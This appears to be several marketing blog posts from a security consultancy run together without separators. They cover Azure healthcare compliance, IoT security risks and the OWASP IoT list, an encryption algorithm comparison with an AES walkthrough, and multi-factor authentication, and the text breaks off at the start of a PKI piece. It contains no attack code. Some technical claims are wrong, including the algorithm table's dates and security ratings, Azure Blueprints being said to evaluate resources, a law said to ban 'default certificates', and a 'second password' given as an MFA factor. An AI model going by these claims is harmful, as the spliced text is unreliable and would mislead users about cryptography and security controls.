Microsoft Azure is one of the three biggest Cloud Service Providers used by organizations today. The other two mainly used by organizations are Amazon Web Services (AWS) and Google Cloud Platform (GCP) . With the current state of the world, many companies are moving their services to a partially or fully cloud-based platform like Azure or AWS. The reason behind this is the large number of managed services that these Cloud Service Providers offer, as well as the more easily usable and accessible options available for web servers and the like.
Recently, many Healthcare providers have been moving specifically to Microsoft Azure. They are doing this because Azure has been working to upgrade their security systems to help these healthcare providers be HIPAA compliant, among other compliance standards they are targeting.
What does being Compliant Mean?
When talking about compliance with organizations, each company has different standards and practices they must conform to. These cyber security compliance standards are written by an organization which specializes in online security and knows what types of protection should be in place for the specific types of organizations. The standards outline practices that should be in place, at a minimum, to be considered fully compliant All organizations do not follow the same standards either.
There are some general cyber security standards, such as the NIST Cybersecurity Framework (CSF), which focus on critical infrastructures or compliance standards for organizations in specific countries, but there are also compliance standards for certain types of organizations. The types of organizations that tend to have their own set of standards are banks or companies holding customer banking/credit card information, and healthcare companies.
Some of the biggest healthcare company standards, that you may have heard of, are the Health Insurance Portability and Accountability Act (HIPAA) and the Health Information Technology for Economic and Clinical Health (HITECH) Act. These are vital for a healthcare organization to follow to maintain proper security within their environment. If a healthcare organization is found to not be following these and other standards, they will face legal action and likely have to pay thousands in fines.
How does an Organization become Compliant?
An organization can become compliant in a number of different ways. Following these standards to the letter and ensuring they have at least the minimum amount of security outlined in these standards is the most crucial step.
Organizations can also follow cyber security best practices, like those outlined in NIST SP 800-30 and other NIST recommendations, to better harden their security and ensure compliance. Additionally, security audits of an organization’s cyber security framework should be completed annually at a minimum.
This will help ensure any updates to security standards are being followed, and if they are not then this can be noted and remedied in the audit. There are also a number of different security tools used in platforms like Microsoft Azure that help organizations maintain their compliance without having to implement as much work. We will touch on this in the next section of this blog.
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What is Microsoft Azure doing to help with compliance?
Microsoft has worked to ensure that their databases, as well as each other part of their cloud system, can help a healthcare organization reach and stay in compliance with every healthcare compliance standard they must follow. Using something called the Azure Security Center, users can keep track of their different cloud systems in use and ensure it is up to the compliance standards necessary.
This Security Center allows the organization to keep up-to-date on the status of their compliance within Microsoft Azure. This also allows Azure to recommend changes to their current practices to further comply with standards such as HIPAA.
Microsoft also takes care of the deployment and maintenance of systems within Azure, taking the hassle and man-power needed from the organization away. Azure also offers the ability to complete third-party audits of the systems in place to check for proper compliance. This allows security audits to happen quickly and easily, offering organizations the ability to stay updated on security standards year-round.
Organizations can also download compliance documentation via Microsoft Azure, further speeding up the audit process and providing easy access to the documentation for new hires. There are also different tools available in Microsoft Azure to use for compliance purposes. Azure Blueprints is a service that offers the ability to create frameworks for services developers are creating.
These frameworks can be created by upper-level management, and pre-loaded into Azure Blueprints for developer use. Since a high-ranking member of the organization has created this framework, the developers using that framework know that it is approved for use where necessary in the organization.
Azure Policy acts similarly to Azure Blueprints, but it deals with policy and governance instead. By setting business rules and policy definitions within Azure Blueprints, a user can ensure that compliance standards are being met. Azure Blueprints evaluates resources in Azure by comparing the properties of resources within Azure to the business rules set out in Azure Blueprints.
Conclusion
Tools and services within Cloud Service Providers are a great way to maintain integrity of your data within the Cloud. Azure Policy and Azure Blueprints work hand in hand to constantly ensure existing and new data entering the Cloud are being properly protected. As time goes on, I am certain the cyber security world will see more tools like Microsoft Azure provides begin to roll out and provide even more ways to ensure data security compliance is being followed. Another great way to ensure compliance within an organization is to have experts look over your systems and documentation.
At Encryption Consulting, we provide data security assessments to ensure that your security tools and methods are being used properly. Our team of experts will ensure that your Public Key Infrastructure, Hardware Security Modules, and data encryption in general are up to the proper compliance standards your organization requires.
We can also help implement new data security practices if a company’s infrastructure seems to be lacking. Encryption Consulting can help organizations create new governance documentation as well. To inquire about the different services we offer, visit our website at www.encryptionconsulting.com.
Before we jump into the issues and challenges, let’s get a better idea of IoT devices. Devices that have a sensor attached to it and transmit data from one object to another or to people with the help of the Internet is known as an IoT device.IoT devices are wireless sensors, software, actuators, and computer devices. An IoT device is any device that connects to a network to access the Internet, so Personal Computers, cellphones, speakers, and even some outlets are considered IoT devices.
Today, even cars and airplanes use IoT devices, meaning if these devices are attacked by threat actors, then cars or airplanes could be hijacked or stolen. With such widespread use of IoT devices in place globally, authenticating and authorizing IoT devices within your organization’s network has become vital. Allowing unauthorized IoT devices onto your network can lead to threat actors leveraging these unauthorized devices to perform malware attacks within your organization.
Need for IoT Security
Security breaches in IoT devices can occur anytime, including manufacturing, network deployment, and software updates. These vulnerabilities provide entry points for hackers to introduce malware into the IoT device and corrupt it. In addition, because all the devices are connected to the Internet, for example: through Wi-Fi, a flaw in one device might compromise the entire network, leading other devices to malfunction.Some key requirements for IoT security are:
Device security, such as device authentication through digital certificates and signatures.
Data security, including device authentication and data confidentiality and integrity.
To comply with regulatory requirements and requests to ensure that IoT devices meet the regulations set up by the industry within which they are used.
IoT Security Challenges:
Malware and Ransomware
The number of malware and ransomware used to exploit IoT-connected devices continue to rise in the coming years as the number of connected devices grows. While classic ransomware uses encryption to lock users out of various devices and platforms entirely, hybridization of malware and ransomware strains is on the rise to integrate multiple attacks.
The ransomware attacks could reduce or disable device functions while stealing user data. For example, a simple IP (Internet Protocol) camera can collect sensitive information from your house, office, etc.
Data Security and Privacy
Data privacy and security are the most critical issues in today’s interconnected world. Large organizations use various IoT devices, such as smart TVs, IP cameras, speakers, lighting systems, printers, etc., to constantly capture, send, store, and process data. All the user data is often shared or even sold to numerous companies, violating privacy and data security rights and creating public distrust.
Before storing and disassociating IoT data payloads from information that might be used to identify users personally, the organization needs to establish dedicated compliance and privacy guidelines that redact and anonymize sensitive data.
Mobile, web, cloud apps, and other services used to access, manage, and process data associated with IoT devices should comply with these guidelines. Data that has been cached but is no longer needed should be safely disposed of. If the data is saved, complying with various legal and regulatory structures will be the most challenging part.
Brute Force Attacks
According to government reports, manufacturers should avoid selling IoT devices with default credentials, as they use “admin” as a username and password. However, these are only guidelines at this point, and there are no legal penalties in place to force manufacturers to stop using this risky approach. In addition, almost all IoT devices are vulnerable to password hacking and brute-forcing because of weak credentials and login details.
For the same reason, Mirai malware successfully detected vulnerable IoT devices and compromised them using default usernames and passwords.
Skill Gap
Nowadays, organizations face a significant IoT skill gap that stops them from fully utilizing new prospects. As it is not always possible to hire a new team, setting up training programs is necessary. Adequate training workshops and hands-on activities should be set up to hack a specific smart gadget. The more knowledge your team members have in IoT, the more productive and secure your IoT will be.
Lack of Updates and Weak Update Mechanism
IoT products are designed with connectivity and ease of use in mind. They may be secure when purchased, but they become vulnerable when hackers find new security flaws or vulnerabilities. In addition, IoT devices become vulnerable over time if they are not fixed with regular updates.
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The Open Web Application Security Project (OWASP) has published the IoT vulnerabilities, an excellent resource for manufacturers and users alike.
Weak Password Protection
Use of easily brute-forced, publicly available, or unchangeable credentials, including backdoors in firmware or client software that grants unauthorized access to deployed systems.
Weak, guessable, default, and hardcoded credentials are the easiest way to hack and attack devices directly and launch further large-scale botnets and other malware.
In 2018, California’s SB-327 IoT law passed to prohibit the use of default certificates. This law aims to solve the use of weak password vulnerabilities.
Insecure network services
Unnecessary or unsafe network services that run on the devices, particularly those that are exposed to the internet, jeopardize the availability of confidentiality, integrity/authenticity of the information, and open the risk of unauthorized remote control of IoT devices.
Unsecured networks make it easy for cybercriminals to exploit weaknesses in protocols and services that run on IoT devices. Once they have exploited the network, attackers can compromise confidential or sensitive data transmitted between the user’s device and the server. Unsecured networks are especially vulnerable to Man-in-the-Middle (MITM) attacks, which steal device credentials and authentication as part of broader cyberattacks.
Insecure Ecosystem Interfaces
Insecure web, backend API, cloud, or mobile interfaces in the ecosystem outside of the device that allows compromise of the device or its related components. Common issues include a lack of authentication/authorization, lacking or weak encryption, and a lack of input and output filtering.
Useful identification tools help the server distinguish legitimate devices from malicious users. Insecure ecosystem interfaces, such as application programming interfaces (APIs), web applications, and mobile devices, allow attackers to compromise devices. Organizations should implement authentication and authorization processes to authenticate users and protect their cloud and mobile interfaces.
Insecure or Outdated Components
Use of deprecated or insecure software components/libraries that could allow the device to be compromised. This includes insecure customization of operating system platforms, and the use of third-party software or hardware components from a compromised supply chain.
The IoT ecosystem can be compromised by code and software vulnerabilities as well as legacy systems. Using unsafe or outdated components, such as open source or third-party software, can create security vulnerabilities that expand an organization’s attack surface.
Lack of Proper Privacy Protection
User’s personal information stored on the device or in the ecosystem that is used insecurely, improperly, or without permission.
IoT devices often collect personal data that organizations must securely store and process in order to comply with various data privacy regulations. Failure to protect this data can result in fines, loss of reputation and loss of business. Failure to implement adequate security can lead to data leaks that jeopardize user privacy.
Insecure Default Settings
Devices or systems shipped with insecure default settings or lack the ability to make the system more secure by restricting operators from modifying configurations.
IoT devices, like personal devices, come with hard-coded, default settings that allow for easy configuration. However, these default settings are very insecure and vulnerable to attackers. Once compromised, hackers can exploit vulnerabilities in a device’s firmware and launch broader attacks aimed at businesses.
Lack of Physical Hardening
Lack of physical hardening measures, allowing potential attackers to gain sensitive information that can help in a future remote attack or take local control of the device.
The nature of IoT devices suggests that they are deployed in remote environments rather than in easy-to-manage, controlled scenarios. This makes it easy for attackers to target, disrupt, manipulate, or sabotage critical systems within an organization.
Lack of secure update mechanisms
Lack of ability to securely update the device. This includes lack of firmware validation on device, lack of secure delivery (un-encrypted in transit), lack of anti-rollback mechanisms, and lack of notifications of security changes due to updates.
Unauthorized firmware and software updates pose a great threat to launch attacks against IoT devices.
Conclusion
Encryption Consulting LLC (EC) will completely offload the Public Key Infrastructure environment and build the PKI infrastructure to lead and manage the PKI environment (on-premises, PKI in the cloud, cloud-based hybrid PKI infrastructure) of your organization. Encryption Consulting will deploy and support your PKI using a fully developed and tested set of procedures and audited processes.
Admin rights to your Active Directory will not be required, and control over your PKI and its associated business processes will always remain with you. Furthermore, for security best practices, the CA keys will be held in FIPS 140-2 Level 3 HSMs hosted either in your secure datacentre or in our Encryption Consulting datacentre in Dallas, Texas.
Data security is one of the essential parts of an organization; it can be achieved using various methods. Encryption Key has a significant role in the overall process of data. Data encryption converts the plaintext into an Encoded form (non-readable), and only authorized persons/parties can access it.
Many algorithms are available in the market for encrypting such data. The encrypted data has been safe for some time, but we never think it is permanently secure. As time goes on, there is a chance that someone gets the data hacked.
Fig: Encryption and Decryption Process
In this article, we have considered various encryption algorithms and techniques for improving the security of the data, Information Security using encryption. Comparisons of encryption algorithms based on their performance, efficiency in hardware and software, key size, availability, implementation techniques, and speed.
Summary of the algorithms
We compare the measured speed of encryption algorithms with various other algorithms available as standard in Oracle JDK, using Eclipse IDE, and then summarize multiple other characteristics of those algorithms. The encryption algorithms consider here are AES (with 128 and 256-bit keys), DES, Triple DES, IDEA, and BlowFish (with a 256-bit key).
Performance of the algorithms
The figure below shows the time taken to encrypt various numbers of 16-byte blocks of data using the algorithms mentioned above.
It is essential to note right from the beginning that beyond some ridiculous point, it is not worth sacrificing speed for security. However, the measurements obtained will still help us make certain informed decisions.
Characteristics of algorithms
Table 1 summarizes the main features of each encryption algorithm, with what we believe is a fair overview of the current security status of the algorithm.
Factors
RSA
DES
3DES
AES
Created By
In 1978 by Ron Rivest, Adi Shamir, and Leonard Adleman
In 1975 by IBM
In 1978 by IBM
In 2001 by Vincent Rijmen and Joan Daemen
Key Length
It depends on the number of bits in modulus n, where n = p*q
56 bits
168 bits (k1, k2, and k3) 112 bits (k1 and k2)
128, 192, or 256 bits
Rounds
1
16
48
10-128 bit key, 12-192 bit key, 14-256 bit key
Block Size
Variable
64 bits
64 bits
128 bits
Cipher Type
Asymmetric Block Cipher
Symmetric Block Cipher
Symmetric Block Cipher
Symmetric Block Cipher
Speed
Slowest
Slow
Very Slow
Fast
Security
Least Secure
Not Secure enough
Adequate Security
Excellent Security
Table 1: Characteristics of commonly used encryption algorithms
Comparison
The techniques have been compared based on that how much:
CPU processing speed for encrypting and decrypting data.
Rate of key generation.
Key size.
Security consideration.
Efficient on the hardware and software in case of implementation.
The amount of memory required to hold the data in the encryption process.
Number of users accommodated by the model.
Time required by the model to recover the data in case of key failure.
Time available to the hacker to produce various types of attacks.
The complexity of algorithm technique.
Fig: Comparison of encryption algorithm based on Percentage Efficiency
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Symmetric ciphers use the same key for encrypting and decrypting, so the sender and the receiver must both know — and use — the same secret key. All key lengths are deemed sufficient to protect classified information up to the “Secret” level, with “Top Secret” information requiring either 192- or 256-bit key lengths. There are 10 rounds for 128-bit keys, 12 rounds for 192-bit keys, and 14 rounds for 256-bit keys — a round consists of several processing steps that include substitution, transposition, and mixing of the input plaintext and transform it into the final output of ciphertext.
AES Design
Rounds
Padding is the method of adding additional Dummy data. During the encryption process of a message, if the message is not divisible by the block length, then the padding is used. E.g., if the message consists of 426 bytes, we need seven additional bytes of padding to make the message 432 bytes long because 432 is divisible by 16. Three key sizes can be used in AES, and depending on key sizes, the number of rounds in AES changes. The standard key size in AES is 128 bits, and the rounds are 10. for AES encryption, two sub keys are generated and in 1st round a round key is added in the first round.
No.
Key Size
No of Rounds
1
128 bits
10
2
192 bits
12
3
256 bits
14
For 128 bits, plain text and 128 bits key are used, and 10 rounds are performed to find the ciphertext. In the first step, 10 round keys are generated for each round, and there is a separate round key. But in the first round, an extra round key, the initial round, is added to the round, and then transformation is started. The transformation consists of four steps.
Substitute Bytes
Shift Rows
Mix Columns
Add Round Key
The Following figure explains all the encryption stages from plain text to ciphertext.
Fig: Shows the stages of each round
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The encryption phase of AES can be broken into three steps: the initial round, the main rounds, and the final round. All of the stages use the same sub-operations in different combinations as follows:
Initial RoundAdd Round Key
Main Round
Sub Bytes
Shift Rows
Mix Columns
Add Round Key
Final Round:
Sub Bytes
Shift Rows
Add Round Key
Add Round Key
This is the only phase of AES encryption that directly operates on the AES round key. In this operation, the input to the round is exclusive-or with the round key.
Sub Bytes
Involves splitting the input into bytes and passing each through a Substitution Box or S-Box. Unlike DES, AES uses the same S-Box for all bytes. The AES S-Box implements inverse multiplication in Galois Field 2.
Shift Rows
Each row of the 128-bit internal state of the cipher is shifted. The rows in this stage refer to the standard representation of the internal state in AES, which is a 4×4 matrix where each cell contains a byte. Bytes of the internal state is placed in the matrix across rows from left to right and down columns.
Mix Columns
Provides diffusion by mixing the input around. Unlike Shift Rows, Mix Columns performs operations splitting the matrix by columns instead of rows. Unlike standard matrix multiplication, Mix Columns performs matrix multiplication per Galois Field 2.
Decryption with AES
To decrypt an AES-encrypted ciphertext, it is necessary to undo each stage of the encryption operation in the reverse order in which they were applied. The three-stage of decryption is as follows:
Inverse Final Round
Add Round Key
Shift Rows
Sub Bytes
Inverse Main Round
Add Round Key
Mix Columns
Shift Rows
Sub Bytes
Inverse Initial Round
Add Round Key
Conclusion
The study of various algorithms shows that the model’s strength depends upon the key management , type of cryptography, number of keys, number of bits used in a key. All the keys are based on mathematical properties. The keys having more number of bits requires more computation time, indicating that the system takes more time to encrypt the data. AES data encryption is a more mathematically efficient and elegant cryptographic algorithm, but its main strength is the option for various key lengths. AES allows you to choose a 128-bit, 192-bit, or 256-bit key, making it exponentially strong. AES uses permutation-substitution, which involves a series of substitution and permutation steps to create the encrypted block
Our digital security needs strong protection because cyber threats are increasing rapidly. Imagine wearing a seatbelt without securing the car doors. Well, that is how it feels whenever people use only passwords as a means of protecting their online accounts, personal information, and sensitive data. Multi-factor authentication (MFA) serves as an additional set of keys to enhance your digital security.
You have probably encountered MFA while accessing your email or any banking application. After entering your password, you might have received a text message with a one-time code (OTP) to authenticate you. This additional step can be viewed as an inconvenience at times but is well worth the inconvenience in terms of the safety provided. Let us understand more about the significance of MFA and how it works.
What is Multi-Factor Authentication?
Multi-factor authentication, also known as MFA, is the process of confirming the identity of a user through a minimum of two independent means prior to allowing any access to an application or an account. Access to the said space or resource is allowed only upon the successful provision of such information.
MFA is an essential part of Identity and Access Management (IAM). While most authentication processes only need one authentication item, such as user credentials like usernames and passwords, MFA calls for two or more authentication items, hence providing an extra security layer for organizations that helps reduce and prevent most cyberattacks. This means that even if someone gets hold of your password, they will need to go through more authentication processes in order to gain access. Below is an explanation of how it works in more detail:
Something You Know:
This is commonly your password or PIN for the account, which serves as the first line of defense. However, relying solely on passwords can be risky, as they can be hacked, phished, or even guessed. Users are encouraged to create strong passwords by combining uppercase and lowercase letters, numbers, and special symbols. Many banking applications also implement security questions as an additional layer of security, asking for specific information that only the user would know, like a memorable date or place. Although security questions add some protection, they are still vulnerable to social engineering or guessing, so combining them with other verification methods strengthens overall security.
Something You Have:
This type especially refers to some physical object that you have in your possession, such as a mobile phone or a hardware token. For instance, you can have a one-time code sent to you via SMS or an authentication app like Google Authenticator that sends you a code for a limited period. In such a case, even if one gets to know your password, gaining access to the account is impossible without the device that receives or generates the code. This added level of security is particularly important in confirming that you are indeed the true owner of the account.
Something You Are:
This encompasses biometric details such as fingerprints, face recognition, and even voice patterns. Biometric features are highly individualistic and, thus, can be difficult to replicate. For example, many modern mobile devices are equipped with fingerprint sensors, enabling users to unlock their devices directly without the need for passwords. This method adds security because access is only granted to persons who bear those individual anatomical features.
Biometrics are now an integral part of various high-security environments, such as online banking, healthcare systems, government infrastructures, airports, businesses, and critical infrastructures, where biometric-secured authentication is simple and user-friendly. Such systems replace the stress of remembering complex passwords with the ease of fingerprints and facial and voice recognition, enhancing security and convenience for everyday use.
A real-life example of MFA:
When you try logging in to your bank account, you enter your credentials, which are your user ID and password (something that you know). After that, the bank asks you for the next factor, which could be a one-time password/OTP that is either messaged to your mobile phone or in an application on the phone (something that you have).
In some banking apps, there can be a third factor of authentication, which is biometrics, which can be either a fingerprint scan or face recognition (something that you are). With this, even if someone cracks your password, it will still be difficult for an attacker to access your account because they would need your phone or biometrics to log in. This adds an extra layer of security to your account.
Types of Multi-Factor Authentication
Here is a more detailed explanation of each MFA method, with examples:
Passwords
The most basic form of authentication. For example, logging into your bank account with just your username and password. However, it is prone to attacks like phishing.
Email Codes
After entering the password, a unique code is sent to your email (e.g., Gmail). The user enters this code to verify identity. Risks arise if the email account is compromised.
Text/Call OTPs
A one-time password (OTP) is sent via SMS or phone call. Example: A bank sends an OTP to your phone when you log into your account. This method is vulnerable to SIM card swaps.
Biometrics
Uses unique physical traits (fingerprints, facial recognition). Example: Unlocking a phone with your fingerprint.
Authenticator Apps
Apps like Google Authenticator generate time-limited OTPs (e.g., during online banking login). Unlike SMS, it is not tied to your phone number, providing more security.
Magic Links
A link sent to your email for direct login. Example: When logging into a website, you receive a link that automatically logs you in. If your email is compromised, this method is at risk.
Social Login
Authenticates using social media credentials (e.g., Google, Facebook). Example: Logging into a website with your Google account. It is convenient but relies on social media platform security.
Hardware Tokens/SDKs
Physical devices (like USB security keys) or software tokens embedded into apps. Example: A USB key is used to access sensitive data. It offers strong security but can be expensive to implement.
Security Questions
Simple questions only the user should know (e.g., mother’s maiden name). Often used alongside other methods. Example: A bank may ask, “What is your first pet’s name?”
Adaptive Authentication
Adjusts authentication levels based on risk factors (e.g., location or behavior). Example: A banking app might ask for a fingerprint scan only when accessing sensitive information, not when just checking balances.
These methods increase security by adding layers of verification beyond just a password.
Why is it essential to enable Multi-Factor Authentication, and what are its benefits?
MFA is more than just a username and password combination. It serves as an added level of security for a user’s account. Attempts by a hacker to gain access to a person’s account, in this case usually with a password that has been obtained, would still have to be countered by a second factor, which may be in the form of a message sent to the user’s phone or a thumbprint scanner. Hence, it becomes almost impossible for the hacker to succeed in compromising any of the user’s accounts.
For instance, Google’s introduction of MFA for G Suite users (now Google Workspace) reportedly cut account breaches by 50% within the first year of adoption, emphasizing how a simple additional verification factor can dramatically reduce risks.
Reduced Risk of Cyber Attacks
As they say, the more advanced the technology, the more advanced the crime. Nowadays, advances in technology have made phishing tactics and concerns about data breaches quite common. MFA reduces the chances of unauthorized access from a single factor as it demands that two or more forms of verification be provided, thus decreasing the risks associated with the loss of such access.
In 2021, a notable phishing campaign targeted Microsoft 365 users, and the attackers were able to obtain valid credentials (such as usernames and passwords) from multiple employees of a healthcare organization. However, because the organization had implemented MFA across all accounts, the attackers were unable to gain full access to the systems even though they had stolen passwords.
Compliance and Best Practices
Many organizations need to comply with some regulatory requirements that require several levels of security to protect any sensitive information. Organizations are now adopting MFA, considering that doing so will help them achieve the strict requirements imposed by regulations like FIPS, NIST, and PCI-DSS and help build user confidence through assurance of the safety of their data.
In the financial sector, Bank of America adopted MFA as part of its compliance with PCI DSS and other regulatory standards. By securing customer accounts with MFA, the bank not only met regulatory requirements but also reduced unauthorized account access incidents, improving customer trust and satisfaction.
Protection for Sensitive Information
For those individuals and organizations that manage information that is private, such as banking information, confidential information of a physical person, or customized information pertaining to a corporation, multi-factor authentication is essential for all. It reduces the chances of such information falling into the wrong hands. Hence, the odds of data theft or loss are lessened.
Microsoft reported a significant reduction in account takeovers after implementing multi-factor authentication (MFA) across its services, including Office 365. Following the adoption of MFA, Microsoft noted a 99.9% reduction in the likelihood of compromised accounts compared to those without MFA.
Securing Multi-Cloud and Hybrid-Cloud Environments
Implementing MFA is important in multi-cloud and hybrid-cloud environments because anybody can access cloud applications anywhere and at any time, which makes MFA an important cheap authentication layer to protect access to sensitive information. This helps to encourage access control in dynamic cloud environments to deter any intrusions and breaches.
For example, Amazon Web Services (AWS) encourages the use of MFA for console access, and this security measure has played a key role in helping businesses prevent unauthorized logins and protect sensitive workloads. This added layer of protection ensures secure access control in dynamic, cloud-based ecosystems.
Important things to know about MFA
You Can Choose Your Second Factor
MFA allows flexibility in choosing the second layer of authentication. Options include biometrics (like fingerprints and face recognition), one-time passwords (OTPs) sent via SMS or email, authenticator apps (such as Authy or Google Authenticator), or physical security keys (like Yubikey or FIDO2). You can choose whichever option is both secure and convenient for your needs.
It’s Becoming Standard Practice
Major platforms like Google, Facebook, Twitter, and Apple strongly encourage or even mandate MFA for certain actions, like accessing sensitive information or changing security settings. Enabling MFA is a recommended security measure, and many platforms make it available or even prompt users to set it up.
MFA Helps Even If a Password is Compromised
Many people reuse passwords across different accounts. If one password gets leaked, hackers could try it on multiple platforms through credential stuffing. Since MFA requires an additional factor (e.g., a second password or biometric verification), a compromised password alone won’t be enough to gain access to the account.
Some Services Use Adaptive MFA
Many modern systems use adaptive MFA (also called risk-based MFA), which only triggers the second factor in certain suspicious conditions, such as when logging in from a new device or location. This reduces friction for users while maintaining security. It’s a smart way to balance convenience and security.
MFA is Simple to Use
Some people hesitate to enable MFA because they think it’s complicated. In reality, setting it up usually takes just a few clicks in the account settings, and the added step during login, whether it’s entering a code or using biometrics, takes only a few seconds.
MFA is Essential for Shared Accounts
For accounts used by multiple people, like a shared business email or collaboration tool, MFA ensures only authorized team members can access it, even if the shared password leaks. This is especially important for preventing unauthorized access to sensitive or private data in a team environment.
Are Multi-Factor Authentication (MFA) and Two-Factor Authentication (2FA) the same?
No, although Multi-factor Authentication (MFA) and Two-Factor Authentication (2FA) bear a strong resemblance to each other, they are not identical.
A Two-Factor Authentication (2FA) is a subtype of multi-factor authentication that is limited to two verification purposes only. Usually, this means something you know, like a password or PIN, and something you have, like a smartphone app that generates a code or an OTP. Two-factor authentication is an acceptable security method but may have risks if the two elements are too similar.
Multi-factor authentication (MFA), on the other hand, is any form of authentication that strives to include two or more verification factors. This implies that combinations of two or more of the several types of factors comprising someone you are, including a thumbprint, something you have, i.e., a phone, and something you know, which would be a password, are all embraced in MFA.
Accordingly, every two-factor authentication system is a multi-factor authentication system, although a two-factor authentication system is just one instance of a multi-factor authentication system. MFA enhances security by incorporating multiple authentication factors, making it significantly harder for attackers to impersonate someone and gain access.
Scenario: Online Banking
Imagine you are accessing your online banking account. With 2FA, the first step requires you to enter your username and password (something you know), and the second step could be a one-time code (OTP) sent to your phone (something you have) or provide a fingerprint scan (something you are).
Why MFA is better: If someone manages to steal your password and phone number, they could potentially access your account using just the password and the one-time code in a 2FA setup. But with MFA, even if they steal your password, they still cannot access your account without the fingerprint and the correct answer to the security question, offering much stronger protection.
How is MFA different from Single Sign-on (SSO)?
Two of the most recent developments in the cyber security landscape are Multi-Factor Authentication (MFA) and Single-Sign-On (SSO), each serving a distinct purpose.
Within the scope of SSO, it is all about developing tools that contribute positively towards a user experience by letting the user enter the credentials for the first application once, log into the first application, and then access any multiple applications without the need to enter the credentials again. This is extremely beneficial in cases where a user needs multiple tools located somewhere on the application every now and then, as it minimizes the number of passwords to be remembered and the login activity.
An example of the implementation of single sign-on (SSO) is Google Services. If you happen to access your Google Account, for example, Gmail, you do not need to log in again to use other Google services like Google Drive, Google Calendar, Google Docs, YouTube, etc. Each time you enter a username and password, SSO makes it easier to switch from one of these to the other without having to stay logged out. Thus, it provides a practical solution to the problem of convenience versus security by keeping authentication in one place.
In the instance of MFA, it is aimed at improving security by prompting users to provide various forms of verification before accessing an application or system. This often comprises what someone knows (a password, for example), what one possesses (some object like a smartphone or a token), and what a person is (e.g., a fingerprint). It is meant to be used in a situation where even if a password and everything else is compromised, access to the accounts is not that easy.
In contrast, SSO is an innovation that lessens the pain of the user who has to log in multiple times. Therefore, it is common for organizations to adopt both MFA and SSO. In this way, both security and ease of use can be ensured.
What is Adaptive Authentication or Adaptive MFA?
Adaptive authentication is yet another type of Multi-Factor Authentication (MFA). Users are validated according to the risks related to that login attempt. The risks are evaluated, considering some contextual and behavioral factors, such as where the user is, the user’s role, the kind of device used, and the time of login, among others.
The user either logs in successfully or is asked to provide further authentication in cases where the level of risk is high. Both the context and behavior of the user are monitored throughout the session to ensure that the level of trust is maintained.
For example, an employee attempting to access a company web application through a cafe on a personal cell phone may be asked to provide a code received in their email after entering their login details. This same person who attempts to access the same application on the web from the company premises does not need to provide anything else other than a username and password.
In the previous two cases, accessing the application via cafe was deemed risky because of the use of an unknown network of café, and thus required additional security checks, whereas accessing the application from an office was deemed safe and thus only required a single sign-on.
Nevertheless, conventional multi-factor authentication is enforced on all individuals, compelling them to key in further verification elements, including but not limited to a name, a password, a digital code, or responses to pre-set security questions, while adaptive authentication does not require much of that from well-known users who display the same user behavior over and over but rather considers how much risk that user poses whenever he or she seeks access.
Users are only offered additional MFA options when the risk level is comparatively high. One of the most significant distinctions between the two methods is that adaptive authentication is more contextual and, therefore, less rigid. It changes the rules depending on the situation and the actions of the user. Thus, it results in a less obstructive interface for the users.
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Best Practices for Implementing MFA and SSO in Organizations
Assess Your Security Needs
Evaluate the sensitivity of your organizational data and associated risks. Identify which users, systems, or applications require MFA and prioritize its deployment in high-risk areas first. This ensures you focus your resources where they are most needed.
Leverage Adaptive MFA
Using context-aware MFA, which adapts based on user behavior, device type, and log in location, enhances security by requiring additional verification only in suspicious scenarios. For example, if an employee attempts to access organizational databases from their home instead of the office. Then, the system may require additional authentication, such as a second factor or biometric verification. This enhances security while reducing friction for legitimate users.
Promote User Awareness and Training
Educating users on the importance of MFA, how to set it up, and how to recover access if their MFA device is lost or stolen is crucial. It helps mitigate risks from human error and ensures MFA is effectively used across the organization.
Use Strong Authentication Methods
Choose secure MFA options like hardware security keys (e.g., YubiKey), biometric verification (e.g., fingerprints, facial recognition), or authenticator apps over SMS-based OTPs, which are more vulnerable to attacks like SIM swapping.
Integrate MFA with SSO for Convenience
Combining MFA with SSO improves security while simplifying the user experience by allowing employees to access multiple applications with a single login and MFA step. This minimizes login overhead and improves the user experience.
Enforce MFA for All Critical Systems
Implementing MFA across systems handling sensitive data (e.g., financial or healthcare data) and extending it to high-risk accounts (e.g., administrative access or VPNs) ensures those systems are better protected from unauthorized access.
Monitor and Audit Authentication Activity
Regular monitoring and auditing of authentication logs help identify suspicious activity, such as failed login attempts or unusual login locations. This proactive approach ensures that MFA is being used correctly and that any unusual behavior is quickly detected.
Provide a Backup for MFA Methods
Offer alternative or backup MFA methods, like recovery codes or alternative verification methods (e.g., email or phone number verification), to ensure users can still access accounts if their primary MFA device is lost or unavailable.
Regularly Update and Review Policies
Keeping MFA and SSO policies up to date with the latest security standards, organizational changes, and evolving risks ensures that your security approach remains effective. Periodic reviews of user roles and permissions also help align security measures with the organization’s needs.
Role-Based Access Control (RBAC)
Implementing RBAC alongside MFA ensures that users have access only to the resources they need for their role. This reduces the risk of granting unwanted access and limits the potential damage from a compromised account.
These best practices help organizations implement MFA and SSO properly. Organizations can better defend their sensitive data systems when they put security first and teach users about security while having reliable backup systems. Regular reviews, integration with existing IAM tools, and leveraging adaptive MFA technologies will help organizations achieve the right balance between security and user convenience.
How can Encryption Consulting Help?
Encryption Consulting provides expert guidance on implementing and optimizing Multi-Factor Authentication (MFA) to strengthen your organization’s security posture. Our advisory services include an in-depth Encryption Assessment to assess your current authentication mechanisms, identify gaps, and recommend best-fit MFA solutions customized to your security needs. We also assist in aligning MFA solutions with regulatory frameworks and security best practices, reducing risks associated with unauthorized access. Whether you need on-premises, cloud-based, or hybrid MFA strategies, Encryption Consulting delivers comprehensive solutions that ensure a secure, seamless, and user-friendly authentication experience.
Conclusion
To wrap up, Multi-Factor Authentication (MFA) is more than just a buzzword in cybersecurity. By requiring multiple forms of verification, MFA significantly enhances security, ensuring that unauthorized individuals cannot gain access. This added layer of protection helps safeguard sensitive information and prevent various forms of cybercrime.
With the increasing adoption of cloud services and the growing frequency of data breaches, implementing MFA has become more critical than ever. It empowers users to take control of their own security while ensuring that only authorized individuals can access digital resources. Whether it’s something you know (a password), have (a security token), or are (biometric authentication), MFA serves as a powerful defense against cyber threats.
Encourage your friends, family, and colleagues to enable multi-factor authentication. In a world filled with evolving cyber risks, being proactive about security is always the best defense.
IoT (Internet of Things) has connected everything worldwide and has made it more efficient, accessible, and responsive, but it has become easy prey for attackers when it comes to Security. In last year, we have seen a vast number of attacks on smart devices used to collect personal and professional data, causing a massive loss for the industry. PKI (Public Key Infrastructure) has been the most used and needed solution in this environment. It’s being used to secure IoT devices because it’s a cost-effective and scalable solution. Organizations have been using this technology for a long decade.
PKI for IoT Security
